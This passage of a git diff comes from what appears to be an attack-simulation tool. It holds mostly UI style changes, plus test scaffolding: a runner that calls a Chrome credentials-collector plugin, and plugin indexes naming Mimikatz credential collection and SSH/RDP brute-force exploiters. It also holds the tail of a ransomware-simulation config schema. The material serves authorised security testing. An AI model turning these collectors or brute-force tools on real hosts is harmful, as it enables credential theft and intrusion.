no ' + - 'directory is specified, no files will be encrypted.' - } - } - } - } - }, - 'other_behaviors': { - 'title': 'Other ransomware behavior', - 'type': 'object', - 'properties': { - 'readme': { - 'title': 'Create a README.txt file', - 'type': 'boolean', - 'default': true, - 'description': 'Creates a README.txt ransomware note on infected systems.' - } - } - } - } -} - -export default RANSOMWARE_SCHEMA; diff --git a/monkey/monkey_island/cc/ui/src/styles/App.css b/monkey/monkey_island/cc/ui/src/styles/App.css index 89b4bdf9796..8eb3edc6327 100644 --- a/monkey/monkey_island/cc/ui/src/styles/App.css +++ b/monkey/monkey_island/cc/ui/src/styles/App.css @@ -9,6 +9,7 @@ body { #app { font-family: 'Open Sans', 'Helvetica Neue', Helvetica, Arial, sans-serif; + height: inherit; } .center-block { @@ -29,7 +30,7 @@ body { left: 0; z-index: 1000; display: block; - padding: 0px !important; + padding: 0 !important; overflow-x: hidden; overflow-y: auto; /* Scrollable contents if viewport is shorter than content. */ @@ -54,9 +55,15 @@ body { padding: 15px; } + .navigation li a.step { + display: flex; + align-items: center; + justify-content: space-between; + } + ul { list-style: none; - padding-left: 0px; + padding-left: 0; } li { @@ -73,6 +80,7 @@ body { display: block; padding: 0.5em 1em; margin: 0.1em 0; + text-decoration: none; } li a:hover { @@ -107,6 +115,14 @@ body { color: #ffcc00; } + i a { + text-decoration: none; + } + + i a:hover { + text-decoration: underline; + } + hr { border-top-color: #ccc !important; } @@ -205,11 +221,11 @@ body { display: none; } -.nav-tabs>li>a { +.nav-tabs > li > a { height: 63px } -.nav>li>a:focus { +.nav > li > a:focus { background-color: transparent !important; } @@ -336,21 +352,21 @@ body { * Full Logs Page */ -.data-table-container>.container { +.data-table-container > .container { width: inherit; padding: 0; } -.data-table-container>.container th, -.data-table-container>.container td { +.data-table-container > .container th, +.data-table-container > .container td { padding: 15px 8px; } -.data-table-container>.container>.row:first-child>div:first-child>div { +.data-table-container > .container > .row:first-child > div:first-child > div { display: inline-block; } -.data-table-container>.container>.row:first-child>div:first-child>div:last-child { +.data-table-container > .container > .row:first-child > div:first-child > div:last-child { margin-left: 1em; } @@ -526,3 +542,15 @@ body { margin-left: auto; margin-right: auto; } + +/* Tooltip */ +.MuiTooltip-tooltip { + padding: 8px 10px; + font-size: 1rem; +} + +.text-truncate { + text-overflow: ellipsis; + overflow: hidden; + white-space: nowrap; +} diff --git a/monkey/monkey_island/cc/ui/src/styles/MUITheme.js b/monkey/monkey_island/cc/ui/src/styles/MUITheme.js new file mode 100644 index 00000000000..92698b77c61 --- /dev/null +++ b/monkey/monkey_island/cc/ui/src/styles/MUITheme.js @@ -0,0 +1,11 @@ +import {createTheme} from '@mui/material'; + +const MUITheme= createTheme({ + palette: { + primary: { + main: '#ffcc00' + } + } +}); + +export default MUITheme; diff --git a/monkey/monkey_island/cc/ui/src/styles/Main.scss b/monkey/monkey_island/cc/ui/src/styles/Main.scss index f49f4afe48a..e5419002567 100644 --- a/monkey/monkey_island/cc/ui/src/styles/Main.scss +++ b/monkey/monkey_island/cc/ui/src/styles/Main.scss @@ -1,6 +1,5 @@ @import './variables'; - -@import '../../node_modules/bootstrap/scss/bootstrap'; +@import 'node_modules/bootstrap/scss/bootstrap'; // Imports that require variables @import 'components/Buttons'; @@ -19,8 +18,6 @@ @import 'components/inline-selection/NextSelectionButton'; @import 'components/inline-selection/BackButton'; @import 'components/inline-selection/CommandDisplay'; -@import 'components/Buttons'; - // Define custom elements after bootstrap import .btn-outline-monkey, button { @@ -82,3 +79,40 @@ div.collapse.card-body ul, div.collapsing.card-body ul { .hidden{ display: None; } + +.btn-info { + color: $monkey-white; + + &:hover, &:active, &:disabled { + color: $monkey-white !important; + } +} + +.modal-dialog { + .close { + font-size: 1.5rem; + font-weight: 700; + color: #000; + text-shadow: 0 1px 0 #fff; + opacity: .5; + background-color: transparent; + border: none; + + &:hover { + opacity: 1; + } + } +} + +.MuiDataGrid-root { + .MuiDataGrid-cell:focus, + .MuiDataGrid-cell:focus-within, + .MuiDataGrid-columnHeader:focus, + .MuiDataGrid-columnHeader:focus-within { + outline: none !important; + } + + .MuiDataGrid-columnHeaderTitle { + font-weight: bold !important; + } +} diff --git a/monkey/monkey_island/cc/ui/src/styles/_variables.scss b/monkey/monkey_island/cc/ui/src/styles/_variables.scss index 1f6a12b09b2..a599b5d83d7 100644 --- a/monkey/monkey_island/cc/ui/src/styles/_variables.scss +++ b/monkey/monkey_island/cc/ui/src/styles/_variables.scss @@ -6,13 +6,8 @@ $monkey-info: #17a2b8; $monkey-white: #ffffff; $light-gray: #ececec; - // Define colours before bootstrap import so it generates elements with those colours -$theme-colors: ( - "monkey-alt": $monkey-alt, - "primary": $monkey-yellow, - "monkey-info": $monkey-info, -); +$primary: $monkey-yellow; $nav-pills-link-active-bg: $monkey-alt; $nav-pills-link-active-color: $monkey-white; diff --git a/monkey/monkey_island/cc/ui/src/styles/components/AdvancedMultiSelect.scss b/monkey/monkey_island/cc/ui/src/styles/components/AdvancedMultiSelect.scss index 0718657bc0e..b30f4954920 100644 --- a/monkey/monkey_island/cc/ui/src/styles/components/AdvancedMultiSelect.scss +++ b/monkey/monkey_island/cc/ui/src/styles/components/AdvancedMultiSelect.scss @@ -48,6 +48,19 @@ margin-left: 10px; } +.advanced-multi-select .form-control .no-options { + padding: 3px 0 3px 0; +} + +.advanced-multi-select .no-options-text { + margin-left: 10px; +} + +.advanced-multi-select .form-control[readonly]{ + background-color: $light-gray; + opacity: 1; +} + .active-checkbox { background-color: $monkey-alt-active; } diff --git a/monkey/monkey_island/cc/ui/src/styles/components/PreviewPane.scss b/monkey/monkey_island/cc/ui/src/styles/components/PreviewPane.scss index a0e4780d460..c53383b810d 100644 --- a/monkey/monkey_island/cc/ui/src/styles/components/PreviewPane.scss +++ b/monkey/monkey_island/cc/ui/src/styles/components/PreviewPane.scss @@ -4,6 +4,6 @@ #map-preview-column { position: absolute; - right: 0; + right: 1.5rem; z-index: 1; } diff --git a/monkey/monkey_island/cc/ui/src/styles/components/RunOnIslandButton.scss b/monkey/monkey_island/cc/ui/src/styles/components/RunOnIslandButton.scss index e13c0e8a4f1..ce3e5e6fb4e 100644 --- a/monkey/monkey_island/cc/ui/src/styles/components/RunOnIslandButton.scss +++ b/monkey/monkey_island/cc/ui/src/styles/components/RunOnIslandButton.scss @@ -1,7 +1,3 @@ .monkey-on-island-run-state-icon { - display: inline-block; - position: absolute; - right: 23px; - top: 28%; font-size: 1.1em; } diff --git a/monkey/monkey_island/cc/ui/src/styles/components/SideNav.scss b/monkey/monkey_island/cc/ui/src/styles/components/SideNav.scss index 5693fb74d2c..68e1113acf9 100644 --- a/monkey/monkey_island/cc/ui/src/styles/components/SideNav.scss +++ b/monkey/monkey_island/cc/ui/src/styles/components/SideNav.scss @@ -1,19 +1,35 @@ -.sidebar .version-text { - position: relative; -} +.sidebar { + .version-text { + position: relative; + } -.sidebar .license-link { - position: relative; -} + .license-link { + position: relative; + } -.navigation .island-reset-button { - width: 100%; - text-align: left; - padding-left: 18px; -} + .navigation { + .island-reset-button { + width: 100%; + text-align: left; + padding-left: 18px; + } + } + + .logout-button.btn { + width: 100%; + text-align: left !important; + padding-left: 15px; + } + + .general-nav-items { + padding-left: 0; + } + + #plugins-marketplace-link .MuiBadge-badge { + top: 5px; + } -.logout-button.btn { - width: 100%; - text-align: left !important; - padding-left: 15px; + #plugins-marketplace-label { + margin-right: 16px; + } } diff --git a/monkey/monkey_island/cc/ui/src/styles/components/XDataGrid.scss b/monkey/monkey_island/cc/ui/src/styles/components/XDataGrid.scss new file mode 100644 index 00000000000..55174eb8eb3 --- /dev/null +++ b/monkey/monkey_island/cc/ui/src/styles/components/XDataGrid.scss @@ -0,0 +1,121 @@ +.x-data-grid { + .x-data-grid-title-wrapper { + display: flex; + flex-direction: column; + width: 100%; + + .x-data-grid-title { + display: flex; + justify-content: center; + align-items: center; + font-size: 1rem; + text-decoration: underline; + font-weight: bold; + color: #141414bd; + } + } + + .MuiDataGrid-toolbarContainer { + .MuiButtonBase-root.MuiButton-root.MuiButton-text { + line-height: 1; + } + } + + .hidden, .toolbar-actions-hidden .x-data-grid-title-wrapper .x-data-grid-title + .x-grid-actions-toolbar-wrapper { + display: none !important; + } + + .MuiDataGrid-columnHeadersInner { + width: 100%; + + div[role=row] { + width: 100%; + + .MuiDataGrid-columnHeader { + &.max-width-none { + max-width: none !important; + } + } + } + } + + .MuiDataGrid-virtualScrollerRenderZone { + width: 100%; + + div[role=row] { + min-width: 100%; + + &.last-empty-cell-hidden { + .MuiDataGrid-cell:not([role=cell]) { + display: none; + } + } + + .MuiDataGrid-cell { + &.max-width-none { + max-width: none !important; + } + + &.MuiDataGrid-cell--editing { + > div { + height: 100%; + border: 1px solid #1976d2; + + &.Mui-error { + border-color: red; + } + + textarea { + padding-left: 16px; + } + } + } + } + } + } + + .x-data-grid-row { + &.run-error, &.run-success { + color: white; + } + + &.run-error { + background-color: rgb(255 34 20 / 70%) !important; + + &:hover { + background-color: rgb(255 34 20 / 80%) !important; + } + } + + &.run-success { + background-color: rgb(73 175 79 / 70%) !important; + + &:hover { + background-color: rgb(73 175 79 / 80%) !important; + } + } + } + + p { + margin-bottom: 0; + } + + .flex-0 { + flex: 0 !important; + } + .flex-0\.2 { + flex: 0.2 !important; + } + .flex-0\.25 { + flex: 0.25 !important; + } + .flex-0\.5 { + flex: 0.5 !important; + } + .flex-0\.75 { + flex: 0.75 !important; + } + .flex-1 { + flex: 1 !important; + } +} diff --git a/monkey/monkey_island/cc/ui/src/styles/components/configuration-components/ExportConfigModal.scss b/monkey/monkey_island/cc/ui/src/styles/components/configuration-components/ExportConfigModal.scss index 78add3bb37a..ddb2db2570e 100644 --- a/monkey/monkey_island/cc/ui/src/styles/components/configuration-components/ExportConfigModal.scss +++ b/monkey/monkey_island/cc/ui/src/styles/components/configuration-components/ExportConfigModal.scss @@ -14,11 +14,14 @@ transform: none; } -.config-export-modal .export-type-radio-buttons .password-radio-button input{ - margin-top: 0; - top: 50%; - -ms-transform: translateY(-50%); - transform: translateY(-50%); +.config-export-modal .export-type-radio-buttons .password-radio-button { + display: flex; + gap: .5rem; + align-items: center; + + input { + margin-top: 0; + } } .config-export-modal div.config-export-plaintext p.export-warning { diff --git a/monkey/monkey_island/cc/ui/src/styles/components/configuration-components/ImportConfigModal.scss b/monkey/monkey_island/cc/ui/src/styles/components/configuration-components/ImportConfigModal.scss index 407e8f35690..56355d51ae6 100644 --- a/monkey/monkey_island/cc/ui/src/styles/components/configuration-components/ImportConfigModal.scss +++ b/monkey/monkey_island/cc/ui/src/styles/components/configuration-components/ImportConfigModal.scss @@ -1,5 +1,7 @@ .config-import-modal .config-import-option .file-input { - display: inline-block; + display: flex; + flex-direction: column; + gap: 0.75rem; } .config-import-modal .config-import-option .import-error { diff --git a/monkey/monkey_island/cc/ui/src/styles/components/inline-selection/NextSelectionButton.scss b/monkey/monkey_island/cc/ui/src/styles/components/inline-selection/NextSelectionButton.scss index 71bac305347..c7dc63986f4 100644 --- a/monkey/monkey_island/cc/ui/src/styles/components/inline-selection/NextSelectionButton.scss +++ b/monkey/monkey_island/cc/ui/src/styles/components/inline-selection/NextSelectionButton.scss @@ -2,12 +2,31 @@ width: 100%; text-align: left; margin-bottom: 20px; - padding-right: 40px; -} + padding-right: 20px; -.inline-selection-component .selection-button svg, -.inline-selection-component .selection-button h1 { - display: inline-block; + .selection-button-content-wrapper { + display: flex; + justify-content: space-between; + + .selection-button-details-wrapper { + display: flex; + flex-direction: column; + + .selection-button-title, .selection-button-description { + display: flex; + } + + .selection-button-title { + align-items: center; + gap: 0.5rem; + } + } + + .selection-button-side-icon { + display: flex; + align-items: center; + } + } } .inline-selection-component .selection-button h1 { @@ -20,15 +39,6 @@ font-size: 0.8em; } -.inline-selection-component .selection-button svg { - margin-bottom: 1px; - margin-right: 7px; -} - .inline-selection-component .selection-button .angle-right { - display: inline-block; - position: absolute; - right: 23px; - top: 22%; font-size: 1.7em; } diff --git a/monkey/monkey_island/cc/ui/src/styles/components/plugins-marketplace/AvailablePlugins.module.scss b/monkey/monkey_island/cc/ui/src/styles/components/plugins-marketplace/AvailablePlugins.module.scss new file mode 100644 index 00000000000..fde4aefe643 --- /dev/null +++ b/monkey/monkey_island/cc/ui/src/styles/components/plugins-marketplace/AvailablePlugins.module.scss @@ -0,0 +1,10 @@ +#available-plugins { + :global { + .grid-tools { + .actions { + display: flex; + justify-content: flex-end; + } + } + } +} diff --git a/monkey/monkey_island/cc/ui/src/styles/components/plugins-marketplace/PluginTable.module.scss b/monkey/monkey_island/cc/ui/src/styles/components/plugins-marketplace/PluginTable.module.scss new file mode 100644 index 00000000000..83446c130e6 --- /dev/null +++ b/monkey/monkey_island/cc/ui/src/styles/components/plugins-marketplace/PluginTable.module.scss @@ -0,0 +1,23 @@ +.plugins-wrapper { + :global { + .MuiDataGrid-columnHeader, .MuiDataGrid-cell { + width: 20% !important; + } + + .s-col--header, .s-col { + width: 10% !important; + } + + .m-col--header, .m-col { + width: 15% !important; + } + + .xl-col--header, .xl-col { + width: 40% !important; + } + + .row-actions--header, .row-actions { + width: 10% !important; + } + } +} diff --git a/monkey/monkey_island/cc/ui/src/styles/components/plugins-marketplace/UploadNewPlugin.module.scss b/monkey/monkey_island/cc/ui/src/styles/components/plugins-marketplace/UploadNewPlugin.module.scss new file mode 100644 index 00000000000..ec25adce962 --- /dev/null +++ b/monkey/monkey_island/cc/ui/src/styles/components/plugins-marketplace/UploadNewPlugin.module.scss @@ -0,0 +1,28 @@ +#upload-new-plugin{ + :global { + #drop-zone{ + flex: 1; + display: flex; + flex-direction: column; + align-items: center; + padding: 40px; + border-width: 2px; + border-radius: 10px; + border-style: dashed; + background-color: #fafafa; + cursor: pointer; + color: black; + font-weight: bold; + font-size: 1.4rem; + outline: none; + transition: border 0.24s ease-in-out; + } + #drop-zone:hover { + border-color: #ffc107 !important; + } + #circle-list li{ + list-style-type: circle; + overflow: visible !important; + } + } +} diff --git a/monkey/monkey_island/cc/ui/src/styles/pages/ConfigurationPage.scss b/monkey/monkey_island/cc/ui/src/styles/pages/ConfigurationPage.scss index f65f25d56de..3a70036efe8 100644 --- a/monkey/monkey_island/cc/ui/src/styles/pages/ConfigurationPage.scss +++ b/monkey/monkey_island/cc/ui/src/styles/pages/ConfigurationPage.scss @@ -2,18 +2,18 @@ white-space: pre-wrap; } -.config-nav .nav-item>a { +.config-nav .nav-item > a { color: $black; padding: 15px 10px 15px 10px; } -.config-nav .nav-item>a.active { +.config-nav .nav-item > a.active { font-weight: bold; color: $black; } -.config-nav .nav-item>a:hover:not(.active), -.config-nav .nav-item>a:focus:not(.active) { +.config-nav .nav-item > a:hover:not(.active), +.config-nav .nav-item > a:focus:not(.active) { text-decoration: none; background-color: $light-gray; } @@ -28,11 +28,11 @@ form.config-form > div.form-group { margin-left: 0; } -.config-form div.form-group>div.form-group { +.config-form div.form-group > div.form-group { margin-left: 2em; } -.config-form>div.card.border-danger { +.config-form > div.card.border-danger { display: none; } @@ -44,25 +44,25 @@ div.form-group.field.field-array .field-object label.form-label { display: inline-block; } -div.form-group.field.field-array button.btn-sm{ - height: calc(1.5em + 0.75rem + 5px); +div.form-group.field.field-array button.btn-sm { + height: calc(1.5em + 0.75rem + 5px); } -div.form-group.field.field-array .align-items-center div.m-0.p-0{ +div.form-group.field.field-array .align-items-center div.m-0.p-0 { width: 100%; display: flex; } -div.form-group.field.field-array .align-items-center{ +div.form-group.field.field-array .align-items-center { align-items: flex-start !important; } -div.form-group.field.field-array .py-4.col-lg-3.col-3{ +div.form-group.field.field-array .py-4.col-lg-3.col-3 { padding: 0 !important; } -div.form-group div:not([class]){ +div.form-group div:not([class]) { white-space: pre-wrap; } @@ -79,3 +79,64 @@ div.form-group div:not([class]){ .form-group label.form-label { font-weight: bold; } + +.config-form #root_exploit_user_password_pairs_list__title ~ .container-fluid [id^=root_exploit_user_password_pairs_list] { + &[id$="__title"] { + margin-bottom: -2rem !important; + } + + &~ .container-fluid .row { + margin-bottom: 0 !important; + + &:first-child { + .container-fluid { + margin-bottom: -1rem; + } + } + + .container-fluid { + display: flex; + flex-wrap: wrap; + + .form-group { + margin-bottom: 0; + + .form-group { + margin-left: 0; + + select { + cursor: pointer; + } + } + } + } + } +} + +#configure-propagation-credentials { + .MuiPaper-root { + background-color: #f9f9f9; + + .add-new-credentials-row { + background-color: #ffffff; + } + } + + .x-data-grid.configured-credentials { + margin-bottom: 2rem; + + .secrets-visibility-button { + &:hover { + cursor: pointer; + } + } + } + + .MuiDataGrid-columnHeader, .MuiDataGrid-cell { + width: 15% !important; + } + + .row-actions--header, .row-actions { + width: 10% !important; + } +} diff --git a/monkey/monkey_island/cc/ui/src/styles/pages/EventPage.scss b/monkey/monkey_island/cc/ui/src/styles/pages/EventPage.scss index cfb117502c7..b6633566b40 100644 --- a/monkey/monkey_island/cc/ui/src/styles/pages/EventPage.scss +++ b/monkey/monkey_island/cc/ui/src/styles/pages/EventPage.scss @@ -1,7 +1,11 @@ -.data-table-container>.container>div.row{ - margin-left: 10px; -} - -.data-table-container{ +.data-table-container { margin-bottom: 20px; + + >.container>div.row { + //margin-left: 10px; + } + + p { + margin-bottom: 0; + } } diff --git a/monkey/monkey_island/cc/ui/src/styles/pages/GettingStartedPage.scss b/monkey/monkey_island/cc/ui/src/styles/pages/GettingStartedPage.scss index 35490caf4e1..15d1ab11e18 100644 --- a/monkey/monkey_island/cc/ui/src/styles/pages/GettingStartedPage.scss +++ b/monkey/monkey_island/cc/ui/src/styles/pages/GettingStartedPage.scss @@ -1,11 +1,19 @@ .getting-started-page h1.page-title { - margin-bottom: 0px; -} - -#homepage-shortcuts a.d-block { - height: 100%; + margin-bottom: 0; } #homepage-shortcuts { margin-bottom: 20px; + + a { + text-decoration: none; + + &.d-block { + height: 100%; + } + + &:hover { + text-decoration: underline; + } + } } diff --git a/monkey/monkey_island/cc/ui/src/styles/pages/LandingPage.scss b/monkey/monkey_island/cc/ui/src/styles/pages/LandingPage.scss deleted file mode 100644 index 56b6db1b544..00000000000 --- a/monkey/monkey_island/cc/ui/src/styles/pages/LandingPage.scss +++ /dev/null @@ -1,65 +0,0 @@ -.landing-page { - background-color: rgba(255, 255, 255, 0.89); - height: 100%; - bottom: 0; -} - -.landing-page h1.page-title { - margin-top: 20px; - margin-bottom: 20px; -} - -.landing-page h2.scenario-choice-title { - margin-bottom: 20px; - margin-left: 12px; -} - -.landing-page .scenario-info { - margin-bottom: 20px; -} - -.landing-page .monkey-description-title { - margin-top: 30px; -} - -.landing-page .d-block { - height: 100%; -} - -.akamai-logo .license-text { - position: relative; -} - -.akamai-logo .version-text { - position: relative; -} - -.landing-page-banner { - display: block; - background-color: #ffcc00; - height:200px; - margin-right: -15px; - margin-left: -15px; -} - -.landing-banner-component { - display: block; - margin-left: auto; - margin-right: auto; - padding-top: 10px; -} - -.landing-banner-monkey-icon { - max-height: 65%; -} - -.landing-banner-title { - padding-bottom: 10px; - max-height: 35%; -} - -.landing-page .scenario-header { - font-size: 1.2em; - margin-top: 30px; - margin-left: 20px; -} diff --git a/monkey/monkey_island/cc/ui/src/styles/pages/Marketplace.module.scss b/monkey/monkey_island/cc/ui/src/styles/pages/Marketplace.module.scss new file mode 100644 index 00000000000..e06777e3cff --- /dev/null +++ b/monkey/monkey_island/cc/ui/src/styles/pages/Marketplace.module.scss @@ -0,0 +1,7 @@ +#marketplace-page { + :global { + #installed-plugins-tab-label { + margin-right: 16px; + } + } +} diff --git a/monkey/monkey_island/cc/ui/src/utils/objectUtils.js b/monkey/monkey_island/cc/ui/src/utils/objectUtils.js new file mode 100644 index 00000000000..85bfce9a129 --- /dev/null +++ b/monkey/monkey_island/cc/ui/src/utils/objectUtils.js @@ -0,0 +1,25 @@ +export const reverseObject = (obj) => { + const reversedObj = {}; + for (const key in obj) { + const value = obj[key]; + reversedObj[value] = key; + } + return reversedObj; +} + +export const shallowAdditionOfUniqueValueToArray = (arr, value) => { + const tempArr = [...arr]; + if(!tempArr.includes(value)) { + tempArr.push(value); + } + return tempArr; +} + +export const shallowRemovalOfUniqueValueFromArray = (arr, value) => { + const tempArr = [...arr]; + const indexOfValue = tempArr.indexOf(value); + if(indexOfValue > -1) { + tempArr.splice(indexOfValue, 1); + } + return tempArr; +} diff --git a/monkey/monkey_island/cc/ui/src/utils/timeConsts.js b/monkey/monkey_island/cc/ui/src/utils/timeConsts.js new file mode 100644 index 00000000000..81e2a962166 --- /dev/null +++ b/monkey/monkey_island/cc/ui/src/utils/timeConsts.js @@ -0,0 +1,3 @@ +export const Second = 1000; +export const Minute = 60 * Second; +export const Hour = 60 * Minute; diff --git a/monkey/monkey_island/cc/ui/tsconfig.json b/monkey/monkey_island/cc/ui/tsconfig.json index aab78bd6da0..daa072f6af6 100644 --- a/monkey/monkey_island/cc/ui/tsconfig.json +++ b/monkey/monkey_island/cc/ui/tsconfig.json @@ -8,7 +8,7 @@ "esModuleInterop": true }, "include": [ - "src" + "src", "declarations.d.ts" ], "compileOnSave": false, "exclude": [ diff --git a/monkey/monkey_island/cc/ui/webpack.config.js b/monkey/monkey_island/cc/ui/webpack.config.js index f36cd4d6065..0179574382c 100644 --- a/monkey/monkey_island/cc/ui/webpack.config.js +++ b/monkey/monkey_island/cc/ui/webpack.config.js @@ -103,7 +103,7 @@ module.exports = smp.wrap({ path.resolve(__dirname, 'src/') ], fallback: { - "fs": false + 'fs': false } }, output: { diff --git a/monkey/monkey_island/cc/version.py b/monkey/monkey_island/cc/version.py index 093549b1c52..178878ef52d 100644 --- a/monkey/monkey_island/cc/version.py +++ b/monkey/monkey_island/cc/version.py @@ -52,6 +52,13 @@ def download_url(self): self._initialization_complete.wait() return self._download_url + @property + def deployment(self): + """ + The deployment of the current Island + """ + return self._deployment + def _set_version_metadata(self): self._latest_version, self._download_url = self._get_version_info() self._initialization_complete.set() diff --git a/monkey/tests/agent_plugins/credentials_collector_plugin_runner.py b/monkey/tests/agent_plugins/credentials_collector_plugin_runner.py new file mode 100644 index 00000000000..678b0a98c71 --- /dev/null +++ b/monkey/tests/agent_plugins/credentials_collector_plugin_runner.py @@ -0,0 +1,53 @@ +import logging +import os +import sys +from ipaddress import IPv4Address +from multiprocessing import Event +from typing import Any, Dict, List +from unittest.mock import MagicMock +from uuid import UUID + +script_path = os.path.realpath(os.path.dirname(__file__)) +monkey_path = os.path.realpath(os.path.join(script_path, "..", "..")) +sys.path.insert(0, monkey_path) + +# Change this import to use this script with different plugins +from agent_plugins.credentials_collectors.chrome.src.plugin import Plugin # noqa: E402 + +from common import OperatingSystem # noqa: E402 +from common.credentials import Credentials, Password, Username # noqa: E402 +from common.event_queue import IAgentEventPublisher # noqa: E402 +from infection_monkey.i_puppet import TargetHost # noqa: E402 + +logging.basicConfig(level=logging.DEBUG) + +# Modify these variables as needed +CREDENTIALS: List[Credentials] = [ + Credentials(identity=Username(username="m0nk3y"), secret=Password(password="Ivrrw5zEzs")) +] +CREDENTIALS_COLLECTOR_OPTIONS: Dict[str, Any] = {} +TARGET_HOST = TargetHost( + ip=IPv4Address("10.2.2.14"), operating_system=OperatingSystem.LINUX, icmp=True +) + +agent_event_publisher = MagicMock(spec=IAgentEventPublisher) + +# These parameters don't matter because we won't be executing the agent +servers = ["localhost"] +current_depth = -1 +interrupt = Event() +agent_id = UUID("67460e74-02e3-11e8-b443-00163e990bdb") + +plugin = Plugin( + plugin_name="Test", + agent_id=agent_id, + agent_event_publisher=agent_event_publisher, +) + +credentials = plugin.run( + host=TARGET_HOST, + options=CREDENTIALS_COLLECTOR_OPTIONS, + interrupt=interrupt, +) + +print(credentials) diff --git a/monkey/tests/agent_plugins/exploiter_plugin_runner.py b/monkey/tests/agent_plugins/exploiter_plugin_runner.py index 290927f77ad..e3b91e2de1c 100644 --- a/monkey/tests/agent_plugins/exploiter_plugin_runner.py +++ b/monkey/tests/agent_plugins/exploiter_plugin_runner.py @@ -62,7 +62,7 @@ otp_provider=agent_otp_provider, ) -exploiter_result_data = plugin.run( +exploiter_result = plugin.run( host=TARGET_HOST, servers=servers, current_depth=current_depth, @@ -70,4 +70,4 @@ interrupt=interrupt, ) -print(exploiter_result_data) +print(exploiter_result) diff --git a/monkey/tests/common/example_agent_configuration.py b/monkey/tests/common/example_agent_configuration.py index b5cf9b4e973..f53f3b5a667 100644 --- a/monkey/tests/common/example_agent_configuration.py +++ b/monkey/tests/common/example_agent_configuration.py @@ -29,7 +29,7 @@ "targets": SCAN_TARGET_CONFIGURATION, } -EXPLOITERS: Dict[str, Dict] = {"SSHExploiter": {}, "Log4ShellExploiter": {}} +EXPLOITERS: Dict[str, Dict] = {} EXPLOITATION_CONFIGURATION = { "options": {"http_ports": PORTS}, diff --git a/monkey/tests/data_for_tests/agent_plugin/agent_plugin_repository_index.yml b/monkey/tests/data_for_tests/agent_plugin/agent_plugin_repository_index.yml new file mode 100644 index 00000000000..6f239f95433 --- /dev/null +++ b/monkey/tests/data_for_tests/agent_plugin/agent_plugin_repository_index.yml @@ -0,0 +1,32 @@ +compatible_infection_monkey_version: development +plugins: + Credentials_Collector: + Mimikatz: + - description: Collects credentials from Windows Credential Manager using Mimikatz. + name: Mimikatz + resource_path: Mimikatz-credentials_collector-v1.0.2.tar + safe: true + sha256: 315f5bdb76d078c43b8ac0064e4a0164612b1fce77c869345bfc94c75894edd3 + plugin_type: Credentials_Collector + version: 1.0.2 + Exploiter: + RDP: + - description: Attempts a brute-force attack over RDP using known credentials. + name: RDP + resource_path: RDP-exploiter-v1.0.0.tar + safe: true + sha256: 09d6afa5bab988157a9f9ab151b63b068749d1708a1e13a6ab76aaefc2e34ff3 + plugin_type: Exploiter + version: 1.0.0 + SSH: + - description: Attempts a brute-force attack against SSH using known credentials, + including SSH keys. + name: SSH + resource_path: SSH-exploiter-v1.0.0.tar + safe: true + sha256: 862d4fd8c9d6c51926d34ac083f75c99d4fe4c3b3052de9e3d5995382a277a43 + plugin_type: Exploiter + version: 1.0.0 + Fingerprinter: {} + Payload: {} +timestamp: 1692629886.4792287 diff --git a/monkey/tests/data_for_tests/agent_plugin/agent_plugin_repository_index_simple.yml b/monkey/tests/data_for_tests/agent_plugin/agent_plugin_repository_index_simple.yml new file mode 100644 index 00000000000..27917711517 --- /dev/null +++ b/monkey/tests/data_for_tests/agent_plugin/agent_plugin_repository_index_simple.yml @@ -0,0 +1,16 @@ +compatible_infection_monkey_version: development +plugins: + Credentials_Collector: {} + Exploiter: + SSH: + - description: Attempts a brute-force attack against SSH using known credentials, + including SSH keys. + name: SSH + resource_path: SSH-exploiter-v1.0.0.tar + safe: true + sha256: 862d4fd8c9d6c51926d34ac083f75c99d4fe4c3b3052de9e3d5995382a277a43 + plugin_type: Exploiter + version: 1.0.0 + Fingerprinter: {} + Payload: {} +timestamp: 1692629886.4792287 diff --git a/monkey/tests/data_for_tests/agent_plugin/manifests.py b/monkey/tests/data_for_tests/agent_plugin/manifests.py index 2b274f05ea1..1a312a50543 100644 --- a/monkey/tests/data_for_tests/agent_plugin/manifests.py +++ b/monkey/tests/data_for_tests/agent_plugin/manifests.py @@ -1,42 +1,65 @@ from common import OperatingSystem -from common.agent_plugins import AgentPluginManifest, AgentPluginType +from common.agent_plugins import AgentPluginManifest, AgentPluginType, PluginName -EXPLOITER_NAME_1 = "MockExploiter" -EXPLOITER_NAME_2 = "MockExploiter2" -EXPLOITER_INCOMPLETE_MANIFEST = "MockExploiter3" +EXPLOITER_NAME_1 = PluginName("MockExploiter") +EXPLOITER_NAME_2 = PluginName("MockExploiter2") +EXPLOITER_INCOMPLETE_MANIFEST = PluginName("MockExploiter3") +EXPLOITER_TITLE_1 = "Mock Exploiter" + +CREDENTIALS_COLLECTOR_NAME_1 = PluginName("MockCredentialCollector") REMEDIATION_SUGGESTION_1 = "Fix it!" REMEDIATION_SUGGESTION_2 = "Patch it!" +EXPLOITER_MANIFEST_1 = AgentPluginManifest( + name=EXPLOITER_NAME_1, + plugin_type=AgentPluginType.EXPLOITER, + title=EXPLOITER_TITLE_1, + version="1.0.0", + target_operating_systems=(OperatingSystem.WINDOWS,), + description="Mocked description", + link_to_documentation="http://no_mocked.com", + remediation_suggestion=REMEDIATION_SUGGESTION_1, + safe=True, +) + +EXPLOITER_MANIFEST_2 = AgentPluginManifest( + name=EXPLOITER_NAME_2, + plugin_type=AgentPluginType.EXPLOITER, + title=None, + version="1.0.0", + target_operating_systems=(OperatingSystem.WINDOWS,), + description="Another Mocked description", + link_to_documentation="http://nopenope.com", + remediation_suggestion=REMEDIATION_SUGGESTION_2, + safe=True, +) + +EXPLOITER_MANIFEST_INCOMPLETE = AgentPluginManifest( + name=EXPLOITER_INCOMPLETE_MANIFEST, + plugin_type=AgentPluginType.EXPLOITER, + target_operating_systems=tuple(), + version="1.0.0", +) + +CREDENTIALS_COLLECTOR_MANIFEST_1 = AgentPluginManifest( + name=CREDENTIALS_COLLECTOR_NAME_1, + plugin_type=AgentPluginType.CREDENTIALS_COLLECTOR, + title="Mock Credential Collector", + version="1.0.0", + target_operating_systems=(OperatingSystem.WINDOWS, OperatingSystem.LINUX), + description="Mocked credential collector", + link_to_documentation="http://no_mocked.com", + safe=False, +) + PLUGIN_MANIFESTS = { AgentPluginType.EXPLOITER: { - EXPLOITER_NAME_1: AgentPluginManifest( - name=EXPLOITER_NAME_1, - plugin_type=AgentPluginType.EXPLOITER, - title="Mock Exploiter", - version="1.0.0", - target_operating_systems=(OperatingSystem.WINDOWS,), - description="Mocked description", - link_to_documentation="http://no_mocked.com", - remediation_suggestion=REMEDIATION_SUGGESTION_1, - safe=True, - ), - EXPLOITER_NAME_2: AgentPluginManifest( - name=EXPLOITER_NAME_2, - 